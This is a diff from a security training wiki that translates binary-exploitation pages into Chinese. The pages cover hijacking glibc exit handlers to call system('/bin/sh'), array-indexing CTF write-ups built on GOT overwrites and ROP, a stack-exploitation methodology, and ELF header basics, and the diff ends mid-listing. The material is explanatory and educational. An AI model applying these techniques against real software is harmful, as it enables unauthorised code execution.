PTR_DEMANGLE (onfct); +case ef_free: +case ef_us: +break; +case ef_on: +onfct = f->func.on.fn; +arg = f->func.on.arg; +PTR_DEMANGLE (onfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - onfct (status, arg); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_at: - atfct = f->func.at; - PTR_DEMANGLE (atfct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +onfct (status, arg); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_at: +atfct = f->func.at; +PTR_DEMANGLE (atfct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - atfct (); - __libc_lock_lock (__exit_funcs_lock); - break; - case ef_cxa: - /* To avoid dlclose/exit race calling cxafct twice (BZ 22180), - we must mark this function as ef_free. */ - f->flavor = ef_free; - cxafct = f->func.cxa.fn; - arg = f->func.cxa.arg; - PTR_DEMANGLE (cxafct); +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +atfct (); +__libc_lock_lock (__exit_funcs_lock); +break; +case ef_cxa: +/* To avoid dlclose/exit race calling cxafct twice (BZ 22180), +we must mark this function as ef_free. */ +f->flavor = ef_free; +cxafct = f->func.cxa.fn; +arg = f->func.cxa.arg; +PTR_DEMANGLE (cxafct); - /* Unlock the list while we call a foreign function. */ - __libc_lock_unlock (__exit_funcs_lock); - cxafct (arg, status); - __libc_lock_lock (__exit_funcs_lock); - break; - } +/* Unlock the list while we call a foreign function. */ +__libc_lock_unlock (__exit_funcs_lock); +cxafct (arg, status); +__libc_lock_lock (__exit_funcs_lock); +break; +} - if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) - /* The last exit function, or another thread, has registered - more exit functions. Start the loop over. */ - goto restart; - } +if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) +/* The last exit function, or another thread, has registered +more exit functions. Start the loop over. */ +goto restart; +} - *listp = cur->next; - if (*listp != NULL) - /* Don't free the last element in the chain, this is the statically - allocate element. */ - free (cur); - } +*listp = cur->next; +if (*listp != NULL) +/* Don't free the last element in the chain, this is the statically +allocate element. */ +free (cur); +} - __libc_lock_unlock (__exit_funcs_lock); +__libc_lock_unlock (__exit_funcs_lock); ``` +变量 `f` 指向 **`initial`** 结构,具体调用哪个函数取决于 `f->flavor` 的值。\ +根据该值,调用的函数地址会在不同的位置,但它始终是 **demangled** 的。 -The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\ -Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**. +此外,在选项 **`ef_on`** 和 **`ef_cxa`** 中,也可以控制一个 **argument**。 -Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**. +可以在调试会话中使用 GEF 检查 **`initial` 结构**,命令为 **`gef> p initial`**。 -It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**. - -To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\ -You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). +要利用这一点,你需要 **leak 或者擦除 `PTR_MANGLE`cookie**,然后用 `system('/bin/sh')` 覆盖 initial 中的 `cxa` 条目。\ +你可以在 [**关于该技术的原始博客文章**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure) 中找到这个例子的说明。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/array-indexing.md b/src/binary-exploitation/array-indexing.md index 675eb939e..d6311ed53 100644 --- a/src/binary-exploitation/array-indexing.md +++ b/src/binary-exploitation/array-indexing.md @@ -1,18 +1,18 @@ -# Array Indexing +# 数组索引 {{#include ../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability. +此类别包括所有由于在处理数组索引时出现错误而可能覆盖某些数据的漏洞。这是一个非常广泛的类别,没有特定的方法论,因为利用机制完全依赖于漏洞的条件。 -However he you can find some nice **examples**: +然而,您可以找到一些不错的 **示例**: - [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html) - - There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`. +- 有 **2 个冲突的数组**,一个用于 **地址**,存储数据,另一个用于该数据的 **大小**。可以从一个数组覆盖另一个数组,从而写入一个任意地址,将其视为大小。这允许在 GOT 表中写入 `free` 函数的地址,然后用 `system` 的地址覆盖它,并从内存中调用 `/bin/sh` 的 free。 - [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html) - - 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there. +- 64 位,无 nx。覆盖一个大小以获得一种缓冲区溢出,其中每个东西都将被用作双倍数字,并按从小到大的顺序排序,因此需要创建一个满足该要求的 shellcode,考虑到 canary 不应从其位置移动,最后用一个返回地址覆盖 RIP,该地址满足先前的要求,并将最大的地址放置为指向栈开始的新地址(由程序泄漏),以便可以使用 ret 跳转到那里。 - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/) - - 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used. +- 64 位,无 relro,canary,nx,无 pie。栈中的数组存在一个 off-by-one 漏洞,允许控制一个指针,从而授予 WWW(它将数组中所有数字的总和写入被数组中的 off-by-one 覆盖的地址)。栈被控制,因此 GOT 的 `exit` 地址被覆盖为 `pop rdi; ret`,并在栈中添加 `main` 的地址(循环回到 `main`)。使用 ROP 链泄漏 GOT 中 put 的地址,使用 puts(`exit` 将被调用,因此将调用 `pop rdi; ret`,因此在栈中执行此链)。最后,使用新的 ROP 链执行 ret2lib。 - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - - 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). +- 32 位,无 relro,无 canary,nx,pie。利用错误的索引泄漏 libc 和堆的地址。利用缓冲区溢出进行 ret2lib 调用 `system('/bin/sh')`(需要堆地址以绕过检查)。 diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md index a5e59ae40..c38c7b67b 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md @@ -1,111 +1,111 @@ -# Basic Binary Exploitation Methodology +# 基本二进制利用方法论 {{#include ../../banners/hacktricks-training.md}} -## ELF Basic Info +## ELF 基本信息 -Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**: +在开始利用任何东西之前,了解 **ELF 二进制文件** 的结构是很有趣的: {{#ref}} elf-tricks.md {{#endref}} -## Exploiting Tools +## 利用工具 {{#ref}} tools/ {{#endref}} -## Stack Overflow Methodology +## 栈溢出方法论 -With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology. +有这么多技术时,拥有一个方案来确定每种技术何时有用是很好的。请注意,相同的保护措施会影响不同的技术。您可以在每个保护部分找到绕过保护的方法,但在此方法论中找不到。 -## Controlling the Flow +## 控制流程 -There are different was you could end controlling the flow of a program: +您可以通过不同的方式控制程序的流程: -- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow -- Or via **Arbitrary Writes + Write What Where to Execution** - - [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses. - - [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write. - - Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow - - **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW. +- [**栈溢出**](../stack-overflow/) 通过覆盖栈中的返回指针或 EBP -> ESP -> EIP。 +- 可能需要利用 [**整数溢出**](../integer-overflow.md) 来导致溢出 +- 或通过 **任意写入 + 写入什么到哪里执行** +- [**格式字符串**](../format-strings/)**:** 利用 `printf` 在任意地址写入任意内容。 +- [**数组索引**](../array-indexing.md): 利用设计不良的索引来控制某些数组并获得任意写入。 +- 可能需要利用 [**整数溢出**](../integer-overflow.md) 来导致溢出 +- **bof 到 WWW 通过 ROP**: 利用缓冲区溢出构造 ROP 并能够获得 WWW。 -You can find the **Write What Where to Execution** techniques in: +您可以在以下位置找到 **写入什么到哪里执行** 技术: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -## Eternal Loops +## 永久循环 -Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary: +需要考虑的一点是,通常 **仅仅利用一次漏洞可能不够** 来执行成功的利用,特别是某些保护需要被绕过。因此,讨论一些选项以 **使单个漏洞在同一二进制执行中可利用多次** 是很有趣的: -- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring. - - Controlling a proper ROP chain you might be able to perform all the actions in that chain -- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability** -- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`. +- 在 **ROP** 链中写入 **`main` 函数** 的地址或发生 **漏洞** 的地址。 +- 控制一个合适的 ROP 链,您可能能够在该链中执行所有操作 +- 在 GOT 中写入 **`exit` 地址**(或二进制在结束前使用的任何其他函数)到 **返回漏洞** +- 如 [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**中所述,** 在这里存储 2 个函数,一个用于再次调用漏洞,另一个用于调用 **`__libc_csu_fini`**,它将再次调用 `.fini_array` 中的函数。 -## Exploitation Goals +## 利用目标 -### Goal: Call an Existing function +### 目标:调用现有函数 -- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag. - - In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack. - - In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it - - In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it - - If you need to set several parameter to correctly call the **ret2win** function you can use: - - A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers - - Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function. -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know. +- [**ret2win**](./#ret2win): 代码中有一个您需要调用的函数(可能带有一些特定参数)以获取标志。 +- 在 **没有** [**PIE**](../common-binary-protections-and-bypasses/pie/) **和** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) 的常规 bof 中,您只需在存储在栈中的返回地址中写入地址。 +- 在带有 [**PIE**](../common-binary-protections-and-bypasses/pie/) 的 bof 中,您需要绕过它 +- 在带有 [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) 的 bof 中,您需要绕过它 +- 如果您需要设置多个参数以正确调用 **ret2win** 函数,您可以使用: +- 如果有足够的 gadgets,可以使用 [**ROP**](./#rop-and-ret2...-techniques) **链来准备所有参数 +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)(如果您可以调用此系统调用)来控制许多寄存器 +- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器 +- 通过 [**写入什么到哪里**](../arbitrary-write-2-exec/) 您可以利用其他漏洞(不是 bof)来调用 **`win`** 函数。 +- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要被调用的函数或将要被有趣的函数(system 或 printf)使用的字符串的指针,则可以覆盖该地址。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/) 可能会影响地址。 +- [**未初始化变量**](../stack-overflow/uninitialized-variables.md): 你永远不知道。 -### Goal: RCE +### 目标:RCE -#### Via shellcode, if nx disabled or mixing shellcode with ROP: +#### 通过 shellcode,如果 nx 被禁用或将 shellcode 与 ROP 混合: -- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it: - - **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it - - **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there. - - This will mix shellcode with a ROP chain. +- [**(栈) Shellcode**](./#stack-shellcode): 这对于在覆盖返回指针之前或之后在栈中存储 shellcode 并然后 **跳转到它** 执行它是有用的: +- **在任何情况下,如果有** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** 在常规 bof 中,您需要绕过(泄漏)它 +- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **和** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),可以跳转到栈的地址,因为它不会改变 +- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/),您将需要使用 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) 等技术来跳转到它 +- **有** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),您将需要使用一些 [**ROP**](../rop-return-oriented-programing/) **来调用 `memprotect`** 并使某些页面 `rwx`,然后 **将 shellcode 存储在其中**(例如调用 read)并然后跳转到那里。 +- 这将把 shellcode 与 ROP 链混合。 -#### Via syscalls +#### 通过系统调用 -- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**. - - If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries. - - [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve** - - Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers +- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 有用的调用 `execve` 来运行任意命令。您需要能够找到 **调用特定系统调用的 gadgets 及其参数**。 +- 如果 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/) 被启用,您需要击败它们 **以便使用二进制文件或库中的 ROP gadgets**。 +- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) 可以用于准备 **ret2execve** +- 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadgets 来控制多个寄存器 -#### Via libc +#### 通过 libc -- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually). - - If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically. - - With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out). - - With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** : - - Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it - - **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory. - - **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to: - - Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/) - - Find the **`libc` version** used (leak a couple of function addresses) - - Check the **previous scenarios with ASLR** to continue. +- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): 有用的调用库中的函数(通常是 **`libc`**)如 **`system`**,带有一些准备好的参数(例如 `'/bin/sh'`)。您需要二进制文件 **加载库** 以调用您想要的函数(通常是 libc)。 +- 如果 **静态编译且没有** [**PIE**](../common-binary-protections-and-bypasses/pie/),`system` 和 `/bin/sh` 的 **地址** 不会改变,因此可以静态使用它们。 +- **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **并且知道加载的 libc 版本**,`system` 和 `/bin/sh` 的 **地址** 不会改变,因此可以静态使用它们。 +- 在 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **但没有** [**PIE**](../common-binary-protections-and-bypasses/pie/)**,知道 libc 并且二进制文件使用 `system`** 函数,可以 **`ret` 到 GOT 中 system 的地址**,并将 `'/bin/sh'` 的地址作为参数(您需要弄清楚这一点)。 +- 在 [ASLR](../common-binary-protections-and-bypasses/aslr/) 但没有 [PIE](../common-binary-protections-and-bypasses/pie/),知道 libc 并且 **没有二进制文件使用 `system`**: +- 使用 [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) 来解析 `system` 的地址并调用它 +- **绕过** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 并计算 `system` 和 `'/bin/sh'` 在内存中的地址。 +- **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **和** [**PIE**](../common-binary-protections-and-bypasses/pie/) **并且不知道 libc**:您需要: +- 绕过 [**PIE**](../common-binary-protections-and-bypasses/pie/) +- 找到使用的 **`libc` 版本**(泄漏几个函数地址) +- 检查 **与 ASLR 相关的先前场景** 以继续。 -#### Via EBP/RBP +#### 通过 EBP/RBP -- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack. - - Useful for **off-by-one** stack overflows - - Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP +- [**栈转移 / EBP2Ret / EBP 链接**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): 控制 ESP 以通过存储在栈中的 EBP 控制 RET。 +- 对于 **off-by-one** 栈溢出很有用 +- 作为一种替代方法,在利用 EIP 构造内存中的有效载荷后,通过 EBP 跳转到它也很有用 -#### Misc +#### 其他 -- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address. - - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. -- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know +- [**指针重定向**](../stack-overflow/pointer-redirecting.md): 如果栈包含指向将要被调用的函数或将要被有趣的函数(system 或 printf)使用的字符串的指针,则可以覆盖该地址。 +- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/) 可能会影响地址。 +- [**未初始化变量**](../stack-overflow/uninitialized-variables.md): 你永远不知道。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index f5886ddcc..9c04f8049 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -1,11 +1,10 @@ -# ELF Basic Information +# ELF 基本信息 {{#include ../../banners/hacktricks-training.md}} -## Program Headers - -The describe to the loader how to load the **ELF** into memory: +## 程序头 +描述加载器如何将 **ELF** 加载到内存中: ```bash readelf -lW lnstat @@ -14,80 +13,78 @@ Entry point 0x1c00 There are 9 program headers, starting at offset 64 Program Headers: - Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align - PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 - INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 - [Requesting program interpreter: /lib/ld-linux-aarch64.so.1] - LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 - LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 - DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 - NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 - GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 - GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 - GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 +Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align +PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8 +INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1 +[Requesting program interpreter: /lib/ld-linux-aarch64.so.1] +LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000 +LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000 +DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8 +NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4 +GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4 +GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 +GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1 - Section to Segment mapping: - Segment Sections... - 00 - 01 .interp - 02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame - 03 .init_array .fini_array .dynamic .got .data .bss - 04 .dynamic - 05 .note.gnu.build-id .note.ABI-tag .note.package - 06 .eh_frame_hdr - 07 - 08 .init_array .fini_array .dynamic .got +Section to Segment mapping: +Segment Sections... +00 +01 .interp +02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame +03 .init_array .fini_array .dynamic .got .data .bss +04 .dynamic +05 .note.gnu.build-id .note.ABI-tag .note.package +06 .eh_frame_hdr +07 +08 .init_array .fini_array .dynamic .got ``` +之前的程序有**9个程序头**,然后,**段映射**指示每个节位于哪个程序头(从00到08)。 -The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**. +### PHDR - 程序头 -### PHDR - Program HeaDeR - -Contains the program header tables and metadata itself. +包含程序头表和元数据本身。 ### INTERP -Indicates the path of the loader to use to load the binary into memory. +指示用于将二进制文件加载到内存中的加载器的路径。 ### LOAD -These headers are used to indicate **how to load a binary into memory.**\ -Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**. +这些头用于指示**如何将二进制文件加载到内存中。**\ +每个**LOAD**头指示一个**内存**区域(大小、权限和对齐),并指示要复制到该区域的ELF **二进制文件的字节**。 -For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`. +例如,第二个的大小为0x1190,应该位于0x1fc48,具有读写权限,并将从偏移量0xfc48填充0x528(它并没有填满所有的保留空间)。该内存将包含节`.init_array .fini_array .dynamic .got .data .bss`。 ### DYNAMIC -This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section. +该头有助于将程序链接到其库依赖项并应用重定位。查看**`.dynamic`**节。 ### NOTE -This stores vendor metadata information about the binary. +存储有关二进制文件的供应商元数据信息。 ### GNU_EH_FRAME -Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions. +定义堆栈展开表的位置,供调试器和C++异常处理运行时函数使用。 ### GNU_STACK -Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack. +包含堆栈执行防护配置。如果启用,二进制文件将无法从堆栈执行代码。 ### GNU_RELRO -Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running. +指示二进制文件的RELRO(重定位只读)配置。此保护将在程序加载后和开始运行之前,将内存的某些节(如`GOT`或`init`和`fini`表)标记为只读。 -In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`. +在之前的示例中,它将0x3b8字节复制到0x1fc48作为只读,影响节`.init_array .fini_array .dynamic .got .data .bss`。 -Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched. +请注意,RELRO可以是部分或完整,部分版本不保护节**`.plt.got`**,该节用于**懒绑定**,并需要此内存空间具有**写权限**以在第一次搜索其位置时写入库的地址。 ### TLS -Defines a table of TLS entries, which stores info about thread-local variables. +定义TLS条目的表,存储有关线程局部变量的信息。 -## Section Headers - -Section headers gives a more detailed view of the ELF binary +## 节头 +节头提供了ELF二进制文件的更详细视图。 ``` objdump lnstat -h @@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64 Sections: Idx Name Size VMA LMA File off Algn - 0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3 - CONTENTS, ALLOC, LOAD, READONLY, DATA - 5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3 - CONTENTS, ALLOC, 